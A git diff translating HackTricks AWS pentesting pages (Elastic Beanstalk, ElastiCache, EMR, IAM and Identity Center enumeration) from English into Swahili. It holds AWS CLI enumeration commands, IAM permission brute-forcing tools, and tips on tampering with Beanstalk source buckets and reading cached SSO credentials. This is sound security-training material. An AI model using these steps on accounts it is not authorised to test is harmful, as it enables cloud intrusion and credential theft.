**kupeleka, kusimamia, na kupanua programu za wavuti na huduma**. Inasaidia lugha mbalimbali za programu na mifumo, kama Java, .NET, PHP, Node.js, Python, Ruby, na Go, pamoja na kontena za Docker. Huduma hii inafaa na seva zinazotumika sana ikiwa ni pamoja na Apache, Nginx, Passenger, na IIS. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk inatoa njia rahisi na inayoweza kubadilika ya **kupeleka programu zako kwenye wingu la AWS**, bila haja ya kuwa na wasiwasi kuhusu miundombinu ya msingi. Inashughulikia **kiotomatiki** maelezo ya **ugawaji** wa uwezo, **usawa wa mzigo**, **kupanua**, na **uangalizi wa afya** ya programu, ikikuruhusu uelekeze nguvu zako katika kuandika na kupeleka msimbo wako. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Miundombinu inayoundwa na Elastic Beanstalk inasimamiwa na **Autoscaling** Groups katika **EC2** (ikiwa na usawa wa mzigo). Hii inamaanisha kwamba mwishoni mwa siku, ikiwa **utavunja mwenyeji**, unapaswa kujua kuhusu EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, itā€™s possible to use **ECS**. +Zaidi ya hayo, ikiwa Docker inatumika, inawezekana kutumia **ECS**. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Programu & Mazingira -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +Katika AWS Elastic Beanstalk, dhana za "programu" na "mazingira" zina huduma tofauti na zina majukumu tofauti katika mchakato wa kupeleka. -#### Application +#### Programu -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Programu katika Elastic Beanstalk ni **konteina ya kimantiki kwa msimbo wa chanzo wa programu yako, mazingira, na mipangilio**. Inakusanya pamoja toleo tofauti za msimbo wa programu yako na inakuruhusu kuzisimamia kama kitu kimoja. +- Unapounda programu, unatoa jina na **maelezo, lakini hakuna rasilimali zinazopangwa** katika hatua hii. ni njia tu ya kuandaa na kusimamia msimbo wako na rasilimali zinazohusiana. +- Unaweza kuwa na **matoleo mengi ya programu** ndani ya programu. Kila toleo linahusiana na toleo maalum la msimbo wako, ambalo linaweza kupelekwa kwenye mazingira moja au zaidi. -#### Environment +#### Mazingira -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Mazingira ni **kigezo kilichopangwa cha programu yako** kinachofanya kazi kwenye miundombinu ya AWS. Hapa ndipo **msimbo wa programu yako unapopelekwa na kutekelezwa**. Elastic Beanstalk inatoa rasilimali zinazohitajika (k.m., EC2 instances, load balancers, auto-scaling groups, databases) kulingana na usanidi wa mazingira. +- **Kila mazingira inafanya kazi na toleo moja la programu yako**, na unaweza kuwa na mazingira mengi kwa madhumuni tofauti, kama vile maendeleo, majaribio, hatua, na uzalishaji. +- Unapounda mazingira, unachagua jukwaa (k.m., Java, .NET, Node.js, nk.) na aina ya mazingira (k.m., seva ya wavuti au mfanyakazi). Unaweza pia kubadilisha usanidi wa mazingira ili kudhibiti vipengele mbalimbali vya miundombinu na mipangilio ya programu. -### 2 types of Environments +### Aina 2 za Mazingira -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Mazingira ya Seva ya Wavuti**: Imeundwa ili **kuhifadhi na kuhudumia programu za wavuti na APIs**. Programu hizi kwa kawaida hushughulikia maombi ya HTTP/HTTPS yanayoingia. Mazingira ya seva ya wavuti yanatoa rasilimali kama **EC2 instances, load balancers, na auto-scaling** groups ili kushughulikia trafiki inayokuja, kusimamia uwezo, na kuhakikisha upatikanaji wa juu wa programu. +2. **Mazingira ya Mfanyakazi**: Imeundwa kushughulikia **kazi za nyuma**, ambazo mara nyingi ni za muda mrefu au zinahitaji rasilimali nyingi ambazo hazihitaji majibu ya haraka kwa wateja. Mazingira ya mfanyakazi yanatoa rasilimali kama **EC2 instances na auto-scaling groups**, lakini **hayana usawa wa mzigo** kwani hayashughuliki maombi ya HTTP/HTTPS moja kwa moja. Badala yake, inatumia kazi kutoka kwenye **Amazon Simple Queue Service (SQS) queue**, ambayo inafanya kazi kama buffer kati ya mazingira ya mfanyakazi na kazi inazoshughulikia. -### Security +### Usalama -When creating an App in Beanstalk there are 3 very important security options to choose: +Unapounda App katika Beanstalk kuna chaguzi 3 muhimu sana za usalama za kuchagua: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **EC2 key pair**: Hii itakuwa **funguo ya SSH** ambayo itakuwa na uwezo wa kufikia EC2 instances zinazofanya kazi programu +- **IAM instance profile**: Hii ni **profaili ya instance** ambayo instances zitakuwa nayo (**IAM privileges**) +- Jukumu lililotengenezwa kiotomatiki linaitwa **`aws-elasticbeanstalk-ec2-role`** na lina ufikiaji wa kuvutia juu ya ECS yote, SQS yote, DynamoDB elasticbeanstalk na elasticbeanstalk S3 kwa kutumia sera zinazodhibitiwa na AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Service role**: Hii ni **jukumu ambalo huduma ya AWS** itatumia kutekeleza vitendo vyote vinavyohitajika. Kwa ufahamu wangu, mtumiaji wa kawaida wa AWS hawezi kufikia jukumu hilo. +- Jukumu hili lililotengenezwa na AWS linaitwa **`aws-elasticbeanstalk-service-role`** na linatumia sera zinazodhibitiwa na AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) na [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -By default **metadata version 1 is disabled**: +Kwa kawaida **metadata version 1 imezimwa**:
-### Exposure +### Ufunuo -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Data za Beanstalk zinahifadhiwa katika **S3 bucket** yenye jina lifuatalo: **`elasticbeanstalk--`**(ikiwa iliumbwa kwenye AWS console). Ndani ya bucket hii utaona **msimbo wa chanzo wa programu** iliyopakiwa. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +**URL** ya tovuti iliyoundwa ni **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Ikiwa unapata **ufikiaji wa kusoma** juu ya bucket, unaweza **kusoma msimbo wa chanzo** na hata kupata **akili nyeti** juu yake > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> ikiwa unapata **ufikiaji wa kuandika** juu ya bucket, unaweza **kubadilisha msimbo wa chanzo** ili **kuvunja** **IAM role** ambayo programu inatumia wakati inatekelezwa tena. +### Uainishaji ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,14 +84,13 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Kudumu {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md @@ -104,14 +102,10 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..6131f3c1d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache ni **huduma ya kuhifadhi data na cache katika muundo wa kumbukumbu** inayosimamiwa kikamilifu ambayo inatoa suluhisho zenye utendaji wa juu, ucheleweshaji mdogo, na zinazoweza kupanuliwa kwa programu. Inasaidia injini mbili maarufu za wazi za kumbukumbu: **Redis na Memcached**. ElastiCache **inasanifisha** **kuweka**, **usimamizi**, na **matengenezo** ya injini hizi, ikiruhusu waendelezaji kuhamasisha kazi zinazochukua muda kama vile upatikanaji, urekebishaji, ufuatiliaji, na **backups**. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..84f92b6ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +Huduma ya Elastic MapReduce (EMR) ya AWS, kuanzia toleo 4.8.0, ilianzisha kipengele cha **mipangilio ya usalama** ambacho kinaboresha ulinzi wa data kwa kuruhusu watumiaji kuweka mipangilio ya usimbaji fiche kwa data iliyohifadhiwa na katika usafirishaji ndani ya vikundi vya EMR, ambavyo ni vikundi vinavyoweza kupanuliwa vya EC2 instances vilivyoundwa kushughulikia mifumo mikubwa ya data kama Apache Hadoop na Spark. -Key characteristics include: +Sifa kuu ni pamoja na: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **Kiwango cha Usimbaji Fiche wa Kundi**: Kwa kawaida, data iliyohifadhiwa ndani ya kundi haijatumika usimbaji fiche. Hata hivyo, kuwezesha usimbaji fiche kunatoa ufikiaji wa vipengele kadhaa: +- **Linux Unified Key Setup**: Inasimbisha kiasi cha EBS cha kundi. Watumiaji wanaweza kuchagua Huduma ya Usimamizi wa Funguo ya AWS (KMS) au mtoa funguo wa kawaida. +- **Usimbaji Fiche wa HDFS wa Chanzo Huria**: Inatoa chaguzi mbili za usimbaji fiche kwa Hadoop: +- Usimbaji fiche wa Hadoop RPC (Remote Procedure Call), uliowekwa kwa faragha, ukitumia Safu ya Usalama wa Uthibitishaji Rahisi. +- Usimbaji fiche wa Uhamisho wa HDFS Block, uliowekwa kuwa kweli, unatumia algorithimu ya AES-256. +- **Usimbaji Fiche Katika Usafirishaji**: Inalenga kulinda data wakati wa usafirishaji. Chaguzi ni pamoja na: +- **Usimbaji Fiche wa Chanzo Huria wa Usalama wa Usafirishaji (TLS)**: Usimbaji fiche unaweza kuwezeshwa kwa kuchagua mtoa cheti: +- **PEM**: Inahitaji uundaji wa mikono na kuunganisha vyeti vya PEM katika faili ya zip, inayorejelewa kutoka kwenye S3 bucket. +- **Kawaida**: Inahusisha kuongeza darasa la Java la kawaida kama mtoa cheti linalotoa vitu vya usimbaji fiche. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Mara tu mtoa cheti wa TLS anapounganishwa katika mipangilio ya usalama, vipengele vifuatavyo vya usimbaji fiche maalum ya programu vinaweza kuwezeshwa, vinavyotofautiana kulingana na toleo la EMR: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- Inaweza kupunguza kuchanganya kwa usimbaji fiche kwa kutumia TLS. +- Usimbaji fiche wa Hadoop RPC na Safu ya Usalama wa Uthibitishaji Rahisi na Uhamisho wa HDFS Block na AES-256 vinawezeshwa na usimbaji fiche wa data iliyohifadhiwa. +- **Presto** (EMR toleo 5.6.0+): +- Mawasiliano ya ndani kati ya nodi za Presto yameimarishwa kwa kutumia SSL na TLS. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Inatumia TLS kwa usimbaji fiche. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Inatumia TLS kwa itifaki ya Akka. +- Inatumia Safu ya Usalama wa Uthibitishaji Rahisi na 3DES kwa Huduma ya Uhamisho wa Block. +- Huduma ya kuchanganya ya nje imeimarishwa kwa Safu ya Usalama wa Uthibitishaji Rahisi. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +Vipengele hivi kwa pamoja vinaboresha hali ya usalama ya vikundi vya EMR, hasa kuhusu ulinzi wa data wakati wa kuhifadhi na awamu za usafirishaji. #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## Marejeleo - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..7c08a028d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,10 +1,10 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - IAM, Kituo cha Utambulisho & SSO Enum {{#include ../../../banners/hacktricks-training.md}} ## IAM -You can find a **description of IAM** in: +Unaweza kupata **maelezo ya IAM** katika: {{#ref}} ../aws-basic-information/ @@ -12,9 +12,9 @@ You can find a **description of IAM** in: ### Enumeration -Main permissions needed: +Ruhusa kuu zinazohitajika: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` na `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` na `iam:GetUserPolicy` +- `iam:ListGroupPolicies` na `iam:GetGroupPolicy` +- `iam:ListRolePolicies` na `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` - ### Permissions Brute Force -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Ikiwa unavutiwa na ruhusa zako lakini huna ufikiaji wa kuuliza IAM unaweza kila wakati kuzishinikiza kwa nguvu. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +Chombo [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) ni script ya bash tu ambayo itakimbia ikitumia profaili iliyoonyeshwa **`list*`, `describe*`, `get*`** vitendo vyote inavyoweza kupata kwa kutumia ujumbe wa msaada wa `aws` cli na **kurudisha utekelezaji uliofanikiwa**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +Chombo [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) kinaweza kupata ruhusa zako za sasa (au za wakuu wengine) ikiwa una ruhusa **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Ikiwa umepata **idhini fulani ambazo mtumiaji wako ana**, na unafikiri kwamba zinatolewa na **mwanachama wa AWS aliyepewa usimamizi** (na si wa kawaida). Unaweza kutumia chombo [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) kuangalia yote **mwanachama wa AWS aliyepewa usimamizi ambao unatoa idhini ulizogundua kuwa nazo**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> Inawezekana "kujua" kama ruhusa ulizonazo zimetolewa na jukumu linalosimamiwa na AWS ikiwa unaona kwamba **una ruhusa juu ya huduma ambazo hazitumiki** kwa mfano. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) ni chombo cha Python kinachochambua **maktaba ya AWS CloudTrail ili kutoa na kufupisha vitendo** vilivyofanywa na kila mtu au tu mtumiaji au jukumu maalum. Chombo kitachambua **kila maktaba ya cloudtrail kutoka kwenye bakuli lililoonyeshwa**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Ikiwa unapata .tfstate (faili za hali za Terraform) au faili za CloudFormation (hizi mara nyingi ni faili za yaml zilizoko ndani ya bucket yenye kiambishi cf-templates), unaweza pia kuvisoma ili kupata usanidi wa aws na kujua ni ruhusa zipi zimepewa nani. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Ili kutumia chombo [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) unahitaji kwanza kupakua mwisho wote wa API AWS, kutoka kwa hizo skripti **`generate_bruteforce_tests.py`** itapata mwisho wote wa **"list\_", "describe\_", na "get\_"**. Na hatimaye, itajaribu **kuzipata** kwa kutumia akreditivu zilizotolewa na **kuonyesha kama ilifanya kazi**. -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(Katika uzoefu wangu **chombo kinakwama katika hatua fulani**, [**angalia marekebisho haya**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) kujaribu kurekebisha hilo). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> Katika uzoefu wangu chombo hiki ni kama kile cha awali lakini kinafanya kazi vibaya zaidi na kinachunguza ruhusa chache. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +Unaweza pia kutumia chombo [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Chombo hiki kitakagua **operesheni kadhaa za kawaida kwenye huduma kadhaa za kawaida** (kitakagua baadhi ya ruhusa za kuorodhesha na pia baadhi ya ruhusa za privesc). Lakini kitakagua tu ukaguzi ulioandikwa (njia pekee ya kukagua mambo zaidi ni kuandika majaribio zaidi). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### Zana za Kuimarisha BF ruhusa {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Hakuna kati ya zana zilizotangulia inayoweza kuangalia karibu ruhusa zote, hivyo kama unajua zana bora zaidi tuma PR! -### Unauthenticated Access +### Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Kuinua Haki -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za IAM ili kuinua haki**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAM Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### IAM Kudumu {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## Kituo cha Utambulisho wa IAM -You can find a **description of IAM Identity Center** in: +Unaweza kupata **maelezo ya Kituo cha Utambulisho wa IAM** katika: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### Unganisha kupitia SSO na CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` - ### Enumeration -The main elements of the Identity Center are: +Vitu vikuu vya Kituo cha Utambulisho ni: -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts +- Watumiaji na vikundi +- Seti za Ruhusa: Zina sera zilizounganishwa +- Akaunti za AWS -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Kisha, uhusiano huundwa ili watumiaji/vikundi wawe na Seti za Ruhusa juu ya Akaunti ya AWS. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Kumbuka kwamba kuna njia 3 za kuunganisha sera kwenye Seti ya Ruhusa. Kuunganisha sera zinazodhibitiwa na AWS, sera zinazodhibitiwa na Wateja (sera hizi zinahitaji kuundwa katika akaunti zote ambazo Seti za Ruhusa zinahusisha), na sera za ndani (zilizofafanuliwa hapo). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +Inawezekana kuunda ndani ya folda `$HOME/.aws` faili config ili kuunda miprofaili inayopatikana kupitia SSO, kwa mfano: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Hii usanidi unaweza kutumika na amri: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +Wakati **profaili kutoka SSO inapotumika** kupata taarifa fulani, sifa za kuingia **zinahifadhiwa** katika faili ndani ya folda **`$HOME/.aws/sso/cache`**. Hivyo basi zinaweza **kusomwa na kutumika kutoka hapo**. -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored 